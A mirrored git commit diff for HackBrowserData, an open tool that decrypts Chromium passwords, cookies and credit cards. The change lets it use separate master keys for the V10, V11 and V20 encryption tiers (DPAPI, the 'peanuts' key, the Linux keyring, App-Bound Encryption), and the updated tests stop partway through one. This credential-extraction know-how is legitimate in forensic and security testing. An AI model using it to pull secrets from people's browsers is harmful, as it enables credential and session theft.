mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-08-17 23:57:12 +02:00
fix: per-tier master-key retrievers for mixed-cipher profiles (#579)
* fix: per-tier master-key retrievers for mixed-cipher profiles
This commit is contained in:
+5
-5
@@ -111,11 +111,11 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser
|
|||||||
return browsers, nil
|
return browsers, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// retrieverSetter is an optional capability interface. Chromium variants
|
// keyRetrieversSetter is an optional capability interface. Chromium variants implement it to
|
||||||
// implement it to receive a master-key retriever chain; Firefox and Safari
|
// receive the per-tier master-key retrievers (V10 / V11 / V20) as a single Retrievers struct;
|
||||||
// do not.
|
// Firefox and Safari do not.
|
||||||
type retrieverSetter interface {
|
type keyRetrieversSetter interface {
|
||||||
SetRetriever(keyretriever.KeyRetriever)
|
SetKeyRetrievers(keyretriever.Retrievers)
|
||||||
}
|
}
|
||||||
|
|
||||||
// resolveGlobs expands glob patterns in browser configs' UserDataDir.
|
// resolveGlobs expands glob patterns in browser configs' UserDataDir.
|
||||||
|
|||||||
@@ -171,23 +171,23 @@ type keychainPasswordSetter interface {
|
|||||||
// no longer triggers a password prompt.
|
// no longer triggers a password prompt.
|
||||||
func newPlatformInjector(opts PickOptions) func(Browser) {
|
func newPlatformInjector(opts PickOptions) func(Browser) {
|
||||||
var (
|
var (
|
||||||
password string
|
password string
|
||||||
retriever keyretriever.KeyRetriever
|
retrievers keyretriever.Retrievers
|
||||||
resolved bool
|
resolved bool
|
||||||
)
|
)
|
||||||
return func(b Browser) {
|
return func(b Browser) {
|
||||||
rs, needsRetriever := b.(retrieverSetter)
|
rs, needsRetrievers := b.(keyRetrieversSetter)
|
||||||
kps, needsKeychainPassword := b.(keychainPasswordSetter)
|
kps, needsKeychainPassword := b.(keychainPasswordSetter)
|
||||||
if !needsRetriever && !needsKeychainPassword {
|
if !needsRetrievers && !needsKeychainPassword {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if !resolved {
|
if !resolved {
|
||||||
password = resolveKeychainPassword(opts.KeychainPassword)
|
password = resolveKeychainPassword(opts.KeychainPassword)
|
||||||
retriever = keyretriever.DefaultRetriever(password)
|
retrievers = keyretriever.DefaultRetrievers(password)
|
||||||
resolved = true
|
resolved = true
|
||||||
}
|
}
|
||||||
if needsRetriever {
|
if needsRetrievers {
|
||||||
rs.SetRetriever(retriever)
|
rs.SetKeyRetrievers(retrievers)
|
||||||
}
|
}
|
||||||
if needsKeychainPassword {
|
if needsKeychainPassword {
|
||||||
kps.SetKeychainPassword(password)
|
kps.SetKeychainPassword(password)
|
||||||
|
|||||||
@@ -67,13 +67,16 @@ func platformBrowsers() []types.BrowserConfig {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// newPlatformInjector returns a closure that injects the Chromium master-key
|
// newPlatformInjector returns a closure that wires the Linux Chromium master-key retrievers into
|
||||||
// retriever chain into each Browser.
|
// each Browser. Linux has two tiers: V10 uses the "peanuts" hardcoded password (kV10Key); V11
|
||||||
|
// uses the D-Bus Secret Service keyring (kV11Key). V20 is nil — App-Bound Encryption is Windows-
|
||||||
|
// only. Both V10 and V11 run independently so a profile carrying mixed cipher prefixes decrypts
|
||||||
|
// both tiers.
|
||||||
func newPlatformInjector(_ PickOptions) func(Browser) {
|
func newPlatformInjector(_ PickOptions) func(Browser) {
|
||||||
retriever := keyretriever.DefaultRetriever()
|
retrievers := keyretriever.DefaultRetrievers()
|
||||||
return func(b Browser) {
|
return func(b Browser) {
|
||||||
if s, ok := b.(retrieverSetter); ok {
|
if s, ok := b.(keyRetrieversSetter); ok {
|
||||||
s.SetRetriever(retriever)
|
s.SetKeyRetrievers(retrievers)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -125,13 +125,15 @@ func platformBrowsers() []types.BrowserConfig {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// newPlatformInjector returns a closure that injects the Chromium master-key
|
// newPlatformInjector returns a closure that wires the Windows v10 (DPAPI) and v20 (ABE) Chromium
|
||||||
// retriever chain into each Browser.
|
// master-key retrievers into each Browser. Per issue #578 the two tiers are orthogonal — a single
|
||||||
|
// Chrome profile upgraded from pre-127 carries v20 cookies alongside v10 passwords — so both
|
||||||
|
// retrievers run independently rather than as a first-success chain.
|
||||||
func newPlatformInjector(_ PickOptions) func(Browser) {
|
func newPlatformInjector(_ PickOptions) func(Browser) {
|
||||||
retriever := keyretriever.DefaultRetriever()
|
retrievers := keyretriever.DefaultRetrievers()
|
||||||
return func(b Browser) {
|
return func(b Browser) {
|
||||||
if s, ok := b.(retrieverSetter); ok {
|
if s, ok := b.(keyRetrieversSetter); ok {
|
||||||
s.SetRetriever(retriever)
|
s.SetKeyRetrievers(retrievers)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
package chromium
|
package chromium
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"time"
|
"time"
|
||||||
@@ -17,14 +16,14 @@ import (
|
|||||||
type Browser struct {
|
type Browser struct {
|
||||||
cfg types.BrowserConfig
|
cfg types.BrowserConfig
|
||||||
profileDir string // absolute path to profile directory
|
profileDir string // absolute path to profile directory
|
||||||
retriever keyretriever.KeyRetriever // set via SetRetriever after construction
|
retrievers keyretriever.Retrievers // per-tier key sources (V10 / V11 / V20; unused tiers nil)
|
||||||
sources map[types.Category][]sourcePath // Category → candidate paths (priority order)
|
sources map[types.Category][]sourcePath // Category → candidate paths (priority order)
|
||||||
extractors map[types.Category]categoryExtractor // Category → custom extract function override
|
extractors map[types.Category]categoryExtractor // Category → custom extract function override
|
||||||
sourcePaths map[types.Category]resolvedPath // Category → discovered absolute path
|
sourcePaths map[types.Category]resolvedPath // Category → discovered absolute path
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewBrowsers discovers Chromium profiles under cfg.UserDataDir and returns
|
// NewBrowsers discovers Chromium profiles under cfg.UserDataDir and returns
|
||||||
// one Browser per profile. Call SetRetriever on each returned browser before
|
// one Browser per profile. Call SetKeyRetrievers on each returned browser before
|
||||||
// Extract to enable decryption of sensitive data (passwords, cookies, etc.).
|
// Extract to enable decryption of sensitive data (passwords, cookies, etc.).
|
||||||
func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
||||||
sources := sourcesForKind(cfg.Kind)
|
sources := sourcesForKind(cfg.Kind)
|
||||||
@@ -52,11 +51,19 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
|
|||||||
return browsers, nil
|
return browsers, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetRetriever sets the key retriever used by Extract to obtain the
|
// SetKeyRetrievers wires the per-tier master-key retrievers used by Extract. Each slot
|
||||||
// master encryption key. Must be called before Extract if encrypted
|
// (V10 / V11 / V20) is populated only on platforms where that cipher tier is used:
|
||||||
// data (passwords, cookies, credit cards) needs to be decrypted.
|
//
|
||||||
func (b *Browser) SetRetriever(r keyretriever.KeyRetriever) {
|
// - Windows: V10 (DPAPI) + V20 (ABE). V11 nil — Chromium does not emit v11 prefix on Windows.
|
||||||
b.retriever = r
|
// - Linux: V10 ("peanuts" kV10Key) + V11 (D-Bus Secret Service kV11Key). V20 nil.
|
||||||
|
// - macOS: V10 (Keychain chain). V11 and V20 nil.
|
||||||
|
//
|
||||||
|
// Slots are independent — a failure or absence in one tier does not affect others. A single
|
||||||
|
// Chromium profile can carry mixed cipher-prefix ciphertexts (the motivation for issue #578), so
|
||||||
|
// every configured retriever runs at extract time and decryptValue picks the matching key per
|
||||||
|
// ciphertext.
|
||||||
|
func (b *Browser) SetKeyRetrievers(r keyretriever.Retrievers) {
|
||||||
|
b.retrievers = r
|
||||||
}
|
}
|
||||||
|
|
||||||
func (b *Browser) BrowserName() string { return b.cfg.Name }
|
func (b *Browser) BrowserName() string { return b.cfg.Name }
|
||||||
@@ -79,10 +86,7 @@ func (b *Browser) Extract(categories []types.Category) (*types.BrowserData, erro
|
|||||||
|
|
||||||
tempPaths := b.acquireFiles(session, categories)
|
tempPaths := b.acquireFiles(session, categories)
|
||||||
|
|
||||||
masterKey, err := b.getMasterKey(session)
|
keys := b.getMasterKeys(session)
|
||||||
if err != nil {
|
|
||||||
log.Debugf("get master key for %s: %v", b.BrowserName()+"/"+b.ProfileName(), err)
|
|
||||||
}
|
|
||||||
|
|
||||||
data := &types.BrowserData{}
|
data := &types.BrowserData{}
|
||||||
for _, cat := range categories {
|
for _, cat := range categories {
|
||||||
@@ -90,7 +94,7 @@ func (b *Browser) Extract(categories []types.Category) (*types.BrowserData, erro
|
|||||||
if !ok {
|
if !ok {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
b.extractCategory(data, cat, masterKey, path)
|
b.extractCategory(data, cat, keys, path)
|
||||||
}
|
}
|
||||||
return data, nil
|
return data, nil
|
||||||
}
|
}
|
||||||
@@ -170,43 +174,46 @@ func (b *Browser) acquireFiles(session *filemanager.Session, categories []types.
|
|||||||
return tempPaths
|
return tempPaths
|
||||||
}
|
}
|
||||||
|
|
||||||
// getMasterKey retrieves the Chromium master encryption key.
|
// getMasterKeys retrieves the Chromium master keys for every configured tier. Chrome mixes
|
||||||
//
|
// cipher tiers on the same profile — v20 for new cookies alongside v10 passwords on Windows; v10
|
||||||
// On Windows, the key is read from the Local State file and decrypted via DPAPI.
|
// (peanuts) alongside v11 (keyring) on Linux after session-mode changes — so every retriever in
|
||||||
// On macOS, the key is derived from Keychain (Local State is not needed).
|
// b.retrievers runs independently and keyretriever.NewMasterKeys assembles the results. Any tier
|
||||||
// On Linux, the key is derived from D-Bus Secret Service or a fallback password.
|
// key may be nil if its retriever failed or is not configured for this platform; decryptValue
|
||||||
//
|
// treats a missing tier key as "that tier cannot decrypt" so partial success is still reported.
|
||||||
// The retriever is always called regardless of whether Local State exists,
|
func (b *Browser) getMasterKeys(session *filemanager.Session) keyretriever.MasterKeys {
|
||||||
// because macOS/Linux retrievers don't need it.
|
label := b.BrowserName() + "/" + b.ProfileName()
|
||||||
func (b *Browser) getMasterKey(session *filemanager.Session) ([]byte, error) {
|
|
||||||
if b.retriever == nil {
|
|
||||||
return nil, fmt.Errorf("key retriever not set for %s", b.cfg.Name)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Try to locate and copy Local State (needed on Windows, ignored on macOS/Linux).
|
// Locate and copy Local State (needed on Windows, ignored on macOS/Linux). Multi-profile
|
||||||
// Multi-profile layout: Local State is in the parent of profileDir.
|
// layout: Local State is in the parent of profileDir. Flat layout (Opera): Local State is
|
||||||
// Flat layout (Opera): Local State is alongside data files in profileDir.
|
// alongside data files in profileDir.
|
||||||
var localStateDst string
|
var localStateDst string
|
||||||
for _, dir := range []string{filepath.Dir(b.profileDir), b.profileDir} {
|
for _, dir := range []string{filepath.Dir(b.profileDir), b.profileDir} {
|
||||||
candidate := filepath.Join(dir, "Local State")
|
candidate := filepath.Join(dir, "Local State")
|
||||||
if fileutil.FileExists(candidate) {
|
if !fileutil.FileExists(candidate) {
|
||||||
localStateDst = filepath.Join(session.TempDir(), "Local State")
|
continue
|
||||||
if err := session.Acquire(candidate, localStateDst, false); err != nil {
|
}
|
||||||
return nil, err
|
dst := filepath.Join(session.TempDir(), "Local State")
|
||||||
}
|
if err := session.Acquire(candidate, dst, false); err != nil {
|
||||||
|
log.Debugf("acquire Local State for %s: %v", label, err)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
localStateDst = dst
|
||||||
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
return b.retriever.RetrieveKey(b.cfg.Storage, localStateDst)
|
keys, err := keyretriever.NewMasterKeys(b.retrievers, b.cfg.Storage, localStateDst)
|
||||||
|
if err != nil {
|
||||||
|
log.Warnf("%s: master key retrieval: %v", label, err)
|
||||||
|
}
|
||||||
|
return keys
|
||||||
}
|
}
|
||||||
|
|
||||||
// extractCategory calls the appropriate extract function for a category.
|
// extractCategory calls the appropriate extract function for a category.
|
||||||
// If a custom extractor is registered for this category (via extractorsForKind),
|
// If a custom extractor is registered for this category (via extractorsForKind),
|
||||||
// it is used instead of the default switch logic.
|
// it is used instead of the default switch logic.
|
||||||
func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, masterKey []byte, path string) {
|
func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, keys keyretriever.MasterKeys, path string) {
|
||||||
if ext, ok := b.extractors[cat]; ok {
|
if ext, ok := b.extractors[cat]; ok {
|
||||||
if err := ext.extract(masterKey, path, data); err != nil {
|
if err := ext.extract(keys, path, data); err != nil {
|
||||||
log.Debugf("extract %s for %s: %v", cat, b.BrowserName()+"/"+b.ProfileName(), err)
|
log.Debugf("extract %s for %s: %v", cat, b.BrowserName()+"/"+b.ProfileName(), err)
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
@@ -215,9 +222,9 @@ func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, m
|
|||||||
var err error
|
var err error
|
||||||
switch cat {
|
switch cat {
|
||||||
case types.Password:
|
case types.Password:
|
||||||
data.Passwords, err = extractPasswords(masterKey, path)
|
data.Passwords, err = extractPasswords(keys, path)
|
||||||
case types.Cookie:
|
case types.Cookie:
|
||||||
data.Cookies, err = extractCookies(masterKey, path)
|
data.Cookies, err = extractCookies(keys, path)
|
||||||
case types.History:
|
case types.History:
|
||||||
data.Histories, err = extractHistories(path)
|
data.Histories, err = extractHistories(path)
|
||||||
case types.Download:
|
case types.Download:
|
||||||
@@ -225,7 +232,7 @@ func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, m
|
|||||||
case types.Bookmark:
|
case types.Bookmark:
|
||||||
data.Bookmarks, err = extractBookmarks(path)
|
data.Bookmarks, err = extractBookmarks(path)
|
||||||
case types.CreditCard:
|
case types.CreditCard:
|
||||||
data.CreditCards, err = extractCreditCards(masterKey, path)
|
data.CreditCards, err = extractCreditCards(keys, path)
|
||||||
case types.Extension:
|
case types.Extension:
|
||||||
data.Extensions, err = extractExtensions(path)
|
data.Extensions, err = extractExtensions(path)
|
||||||
case types.LocalStorage:
|
case types.LocalStorage:
|
||||||
|
|||||||
@@ -362,7 +362,7 @@ func TestExtractCategory_CustomExtractor(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
data := &types.BrowserData{}
|
data := &types.BrowserData{}
|
||||||
b.extractCategory(data, types.Extension, nil, "unused-path")
|
b.extractCategory(data, types.Extension, keyretriever.MasterKeys{}, "unused-path")
|
||||||
|
|
||||||
assert.True(t, called, "custom extractor should be called")
|
assert.True(t, called, "custom extractor should be called")
|
||||||
require.Len(t, data.Extensions, 1)
|
require.Len(t, data.Extensions, 1)
|
||||||
@@ -381,7 +381,7 @@ func TestExtractCategory_DefaultFallback(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
data := &types.BrowserData{}
|
data := &types.BrowserData{}
|
||||||
b.extractCategory(data, types.History, nil, path)
|
b.extractCategory(data, types.History, keyretriever.MasterKeys{}, path)
|
||||||
|
|
||||||
require.Len(t, data.Histories, 1)
|
require.Len(t, data.Histories, 1)
|
||||||
assert.Equal(t, "Example", data.Histories[0].Title)
|
assert.Equal(t, "Example", data.Histories[0].Title)
|
||||||
@@ -441,7 +441,7 @@ func TestLocalStatePath(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
// ---------------------------------------------------------------------------
|
||||||
// getMasterKey
|
// getMasterKeys
|
||||||
// ---------------------------------------------------------------------------
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
// mockRetriever records the arguments passed to RetrieveKey.
|
// mockRetriever records the arguments passed to RetrieveKey.
|
||||||
@@ -460,7 +460,10 @@ func (m *mockRetriever) RetrieveKey(storage, localStatePath string) ([]byte, err
|
|||||||
return m.key, m.err
|
return m.key, m.err
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestGetMasterKey(t *testing.T) {
|
func TestGetMasterKeys(t *testing.T) {
|
||||||
|
// getMasterKeys routes through keyretriever.NewMasterKeys on every platform — the V10 mock
|
||||||
|
// wired via SetKeyRetrievers(Retrievers{V10: mock}) is consulted cross-platform.
|
||||||
|
|
||||||
// Profile directory without Local State file.
|
// Profile directory without Local State file.
|
||||||
dirNoLocalState := t.TempDir()
|
dirNoLocalState := t.TempDir()
|
||||||
mkFile(dirNoLocalState, "Default", "Preferences")
|
mkFile(dirNoLocalState, "Default", "Preferences")
|
||||||
@@ -470,23 +473,21 @@ func TestGetMasterKey(t *testing.T) {
|
|||||||
name string
|
name string
|
||||||
dir string
|
dir string
|
||||||
storage string
|
storage string
|
||||||
retriever keyretriever.KeyRetriever // nil → don't call SetRetriever
|
retriever keyretriever.KeyRetriever // nil → don't call SetKeyRetrievers
|
||||||
wantKey []byte
|
wantV10 []byte
|
||||||
wantErr string
|
|
||||||
wantStorage string
|
wantStorage string
|
||||||
wantLocalState bool // whether localStatePath passed to retriever is non-empty
|
wantLocalState bool // whether localStatePath passed to retriever is non-empty
|
||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
name: "nil retriever returns error",
|
name: "nil retriever yields empty keys",
|
||||||
dir: fixture.chrome,
|
dir: fixture.chrome,
|
||||||
wantErr: "key retriever not set",
|
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
name: "with Local State passes path to retriever",
|
name: "with Local State passes path to retriever",
|
||||||
dir: fixture.chrome,
|
dir: fixture.chrome,
|
||||||
storage: "Chrome",
|
storage: "Chrome",
|
||||||
retriever: &mockRetriever{key: []byte("fake-master-key")},
|
retriever: &mockRetriever{key: []byte("fake-master-key")},
|
||||||
wantKey: []byte("fake-master-key"),
|
wantV10: []byte("fake-master-key"),
|
||||||
wantStorage: "Chrome",
|
wantStorage: "Chrome",
|
||||||
wantLocalState: true,
|
wantLocalState: true,
|
||||||
},
|
},
|
||||||
@@ -495,7 +496,7 @@ func TestGetMasterKey(t *testing.T) {
|
|||||||
dir: dirNoLocalState,
|
dir: dirNoLocalState,
|
||||||
storage: "Chromium",
|
storage: "Chromium",
|
||||||
retriever: &mockRetriever{key: []byte("derived-key")},
|
retriever: &mockRetriever{key: []byte("derived-key")},
|
||||||
wantKey: []byte("derived-key"),
|
wantV10: []byte("derived-key"),
|
||||||
wantStorage: "Chromium",
|
wantStorage: "Chromium",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -510,22 +511,21 @@ func TestGetMasterKey(t *testing.T) {
|
|||||||
|
|
||||||
b := browsers[0]
|
b := browsers[0]
|
||||||
if tt.retriever != nil {
|
if tt.retriever != nil {
|
||||||
b.SetRetriever(tt.retriever)
|
b.SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever})
|
||||||
}
|
}
|
||||||
|
|
||||||
session, err := filemanager.NewSession()
|
session, err := filemanager.NewSession()
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
defer session.Cleanup()
|
defer session.Cleanup()
|
||||||
|
|
||||||
key, err := b.getMasterKey(session)
|
keys := b.getMasterKeys(session)
|
||||||
if tt.wantErr != "" {
|
assert.Equal(t, tt.wantV10, keys.V10)
|
||||||
require.Error(t, err)
|
assert.Nil(t, keys.V11, "V11 stays nil when no v11 retriever is wired")
|
||||||
assert.Contains(t, err.Error(), tt.wantErr)
|
assert.Nil(t, keys.V20, "V20 stays nil when no v20 retriever is wired")
|
||||||
|
|
||||||
|
if tt.retriever == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
require.NoError(t, err)
|
|
||||||
assert.Equal(t, tt.wantKey, key)
|
|
||||||
|
|
||||||
mock, ok := tt.retriever.(*mockRetriever)
|
mock, ok := tt.retriever.(*mockRetriever)
|
||||||
require.True(t, ok)
|
require.True(t, ok)
|
||||||
assert.True(t, mock.called)
|
assert.True(t, mock.called)
|
||||||
@@ -539,6 +539,43 @@ func TestGetMasterKey(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestGetMasterKeys_AllTiersInvoked is the mixed-tier regression test at the getMasterKeys layer.
|
||||||
|
// Before the refactor a Windows-only bypass meant only one tier's retriever was consulted, so a
|
||||||
|
// profile mixing prefixes silently lost the un-retrieved tier. After the refactor every
|
||||||
|
// configured tier must be called exactly once and its key must land in the matching MasterKeys
|
||||||
|
// slot. This catches any future "bypass keyretriever for a faster path" regression and covers the
|
||||||
|
// analogous Linux v10/v11 case — no platform silently drops a tier any more.
|
||||||
|
func TestGetMasterKeys_AllTiersInvoked(t *testing.T) {
|
||||||
|
v10mock := &mockRetriever{key: []byte("fake-v10-key")}
|
||||||
|
v11mock := &mockRetriever{key: []byte("fake-v11-key")}
|
||||||
|
v20mock := &mockRetriever{key: []byte("fake-v20-key")}
|
||||||
|
|
||||||
|
browsers, err := NewBrowsers(types.BrowserConfig{
|
||||||
|
Name: "Test", Kind: types.Chromium, UserDataDir: fixture.chrome, Storage: "Chrome",
|
||||||
|
})
|
||||||
|
require.NoError(t, err)
|
||||||
|
require.NotEmpty(t, browsers)
|
||||||
|
|
||||||
|
b := browsers[0]
|
||||||
|
b.SetKeyRetrievers(keyretriever.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock})
|
||||||
|
|
||||||
|
session, err := filemanager.NewSession()
|
||||||
|
require.NoError(t, err)
|
||||||
|
defer session.Cleanup()
|
||||||
|
|
||||||
|
keys := b.getMasterKeys(session)
|
||||||
|
assert.Equal(t, []byte("fake-v10-key"), keys.V10, "V10 slot must be populated")
|
||||||
|
assert.Equal(t, []byte("fake-v11-key"), keys.V11, "V11 slot must be populated")
|
||||||
|
assert.Equal(t, []byte("fake-v20-key"), keys.V20, "V20 slot must be populated")
|
||||||
|
assert.True(t, v10mock.called, "V10 retriever must be called — no silent bypass")
|
||||||
|
assert.True(t, v11mock.called, "V11 retriever must be called — no silent bypass")
|
||||||
|
assert.True(t, v20mock.called, "V20 retriever must be called — no silent bypass")
|
||||||
|
for _, m := range []*mockRetriever{v10mock, v11mock, v20mock} {
|
||||||
|
assert.Equal(t, "Chrome", m.storage)
|
||||||
|
assert.NotEmpty(t, m.localState, "Local State path must be passed to every retriever")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
// ---------------------------------------------------------------------------
|
||||||
// Extract
|
// Extract
|
||||||
// ---------------------------------------------------------------------------
|
// ---------------------------------------------------------------------------
|
||||||
@@ -572,7 +609,7 @@ func TestExtract(t *testing.T) {
|
|||||||
require.Len(t, browsers, 1)
|
require.Len(t, browsers, 1)
|
||||||
|
|
||||||
if tt.retriever != nil {
|
if tt.retriever != nil {
|
||||||
browsers[0].SetRetriever(tt.retriever)
|
browsers[0].SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever})
|
||||||
}
|
}
|
||||||
|
|
||||||
result, err := browsers[0].Extract([]types.Category{types.History})
|
result, err := browsers[0].Extract([]types.Category{types.History})
|
||||||
@@ -673,12 +710,12 @@ func TestCountCategory(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
// ---------------------------------------------------------------------------
|
||||||
// SetRetriever: verify *Browser satisfies the interface used by
|
// SetKeyRetrievers: verify *Browser satisfies the interface used by
|
||||||
// browser.pickFromConfigs for post-construction retriever injection.
|
// browser.pickFromConfigs for post-construction retriever injection.
|
||||||
// ---------------------------------------------------------------------------
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
func TestSetRetriever_SatisfiesInterface(t *testing.T) {
|
func TestSetKeyRetrievers_SatisfiesInterface(t *testing.T) {
|
||||||
var _ interface {
|
var _ interface {
|
||||||
SetRetriever(keyretriever.KeyRetriever)
|
SetKeyRetrievers(keyretriever.Retrievers)
|
||||||
} = (*Browser)(nil)
|
} = (*Browser)(nil)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,24 +4,43 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
)
|
)
|
||||||
|
|
||||||
// decryptValue decrypts a Chromium-encrypted value using the master key. It detects the cipher version
|
// decryptValue decrypts a Chromium-encrypted value by dispatching on the ciphertext's version
|
||||||
// from the ciphertext prefix and routes to the appropriate decryption function.
|
// prefix to the matching tier in keys:
|
||||||
func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
|
//
|
||||||
|
// - v10 → keys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key)
|
||||||
|
// - v11 → keys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there)
|
||||||
|
// - v20 → keys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there)
|
||||||
|
//
|
||||||
|
// A single profile can carry mixed prefixes (Chrome 127+ upgrades on Windows; Linux session-mode
|
||||||
|
// changes), so every applicable key must be populated upstream for lossless extraction. Missing
|
||||||
|
// tier keys surface as decrypt errors at the ciphertext level; the extract layer treats those as
|
||||||
|
// empty plaintexts rather than fatal errors.
|
||||||
|
func decryptValue(keys keyretriever.MasterKeys, ciphertext []byte) ([]byte, error) {
|
||||||
if len(ciphertext) == 0 {
|
if len(ciphertext) == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
version := crypto.DetectVersion(ciphertext)
|
version := crypto.DetectVersion(ciphertext)
|
||||||
switch version {
|
switch version {
|
||||||
case crypto.CipherV10, crypto.CipherV11:
|
case crypto.CipherV10:
|
||||||
// v11 is Linux-only and shares v10's AES-CBC path; only the key source differs.
|
return crypto.DecryptChromium(keys.V10, ciphertext)
|
||||||
return crypto.DecryptChromium(masterKey, ciphertext)
|
case crypto.CipherV11:
|
||||||
|
// v11 is Linux-only and shares v10's AES-CBC path, but uses the keyring-derived kV11Key
|
||||||
|
// rather than the peanuts-derived kV10Key — so a Linux profile with both prefixes needs
|
||||||
|
// distinct per-tier keys to decrypt everything.
|
||||||
|
return crypto.DecryptChromium(keys.V11, ciphertext)
|
||||||
case crypto.CipherV20:
|
case crypto.CipherV20:
|
||||||
// v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can
|
// v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can
|
||||||
// exercise the same decryption path as Windows.
|
// exercise the same decryption path as Windows.
|
||||||
return crypto.DecryptChromiumV20(masterKey, ciphertext)
|
return crypto.DecryptChromiumV20(keys.V20, ciphertext)
|
||||||
|
case crypto.CipherV12:
|
||||||
|
// Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) — HKDF-SHA256 +
|
||||||
|
// AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. Recognized here
|
||||||
|
// to surface an actionable "known gap" error rather than the generic "unsupported" one.
|
||||||
|
return nil, fmt.Errorf("unsupported cipher version v12 (Chromium SecretPortal / Flatpak; not yet implemented)")
|
||||||
case crypto.CipherDPAPI:
|
case crypto.CipherDPAPI:
|
||||||
return crypto.DecryptDPAPI(ciphertext)
|
return crypto.DecryptDPAPI(ciphertext)
|
||||||
default:
|
default:
|
||||||
|
|||||||
@@ -0,0 +1,60 @@
|
|||||||
|
package chromium
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestDecryptValue_MixedTier is the regression test for mixed-cipher profiles (issue #578 on
|
||||||
|
// Windows; the analogous Linux v10/v11 gap). A single MasterKeys struct must carry distinct keys
|
||||||
|
// for each tier, and decryptValue must dispatch each ciphertext to the matching tier's key.
|
||||||
|
// Before the refactor the master-key retriever returned only one tier, so a profile mixing
|
||||||
|
// cipher prefixes silently lost whichever tier wasn't retrieved.
|
||||||
|
//
|
||||||
|
// Uses v20 (cross-platform AES-GCM) to cover the prefix→slot routing property without depending
|
||||||
|
// on platform-specific v10/v11 cipher primitives (AES-CBC on darwin/linux, AES-GCM on Windows).
|
||||||
|
// The per-platform v10/v11 formats are covered by decrypt_test.go and decrypt_windows_test.go.
|
||||||
|
func TestDecryptValue_MixedTier(t *testing.T) {
|
||||||
|
k10 := bytes.Repeat([]byte{0x10}, 16) // V10 slot key (wrong for v20 payload)
|
||||||
|
k11 := bytes.Repeat([]byte{0x11}, 16) // V11 slot key (wrong for v20 payload)
|
||||||
|
k20 := bytes.Repeat([]byte{0x20}, 16) // V20 slot key (correct for v20 payload)
|
||||||
|
|
||||||
|
plaintext := []byte("cookie-value-encrypted-with-k20")
|
||||||
|
nonce := []byte("v20_nonce_12") // 12-byte AES-GCM nonce
|
||||||
|
|
||||||
|
gcmEnc, err := crypto.AESGCMEncrypt(k20, nonce, plaintext)
|
||||||
|
require.NoError(t, err)
|
||||||
|
v20Ciphertext := append([]byte("v20"), append(nonce, gcmEnc...)...)
|
||||||
|
|
||||||
|
t.Run("all tiers populated: v20 picks V20, decrypts", func(t *testing.T) {
|
||||||
|
